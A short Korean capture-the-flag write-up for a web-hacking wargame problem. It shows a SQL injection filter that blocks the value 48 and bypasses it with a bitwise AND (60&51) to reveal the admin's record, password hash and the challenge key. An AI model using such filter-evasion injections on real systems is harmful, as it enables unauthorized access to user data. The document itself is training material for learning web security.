webhack.teamtmp 14 번문제

Xero 박준혁 (한국디지털미디어고등학교 2 학년) 2012-06-18 wnsgurzxc@nate.com

다음과 같이 소스가 주어진다.

SQL Injection
hint:select m_idx,m_id,m_point from m__member where m_idx=\$num
if(@eregi("48",\$_GET[num])) exit("no hack"); // admin의 m_idx≒ 48



ID: Point: 입력받은 값이 48 이 되면 admin 의 정보를 출력하고 답을 출력한다. 48 을 필터링하고, +, - 등 여러 연산들을 필터링했다. 그러다 &는 필터링하지 않는 것을 발견하고 &연산자를 이용해 48 을 우회하기로 했다.

48 은 2 진수로 나타내면 110000 이다. 111100 과 110011 을 &연산자로 110000 으로 만들어 우회하기로 했다. 그래서 60&51 를 입력하니 다음과 같이 답이 출력되었다.

SQL Injection
hint:select m_idx,m_id,m_point from m__member where m_idx=\$num
if(@eregi("48",\$_GET[num])) exit("no hack"); // admin의 m_idx≒ 48

회원 포인트 열람

ID: admin Point: -983500

PW: ee03e62a52fa33f1a02cc2462e68d550

Key: ee03e62a52fa33f1a02cc2462e68d550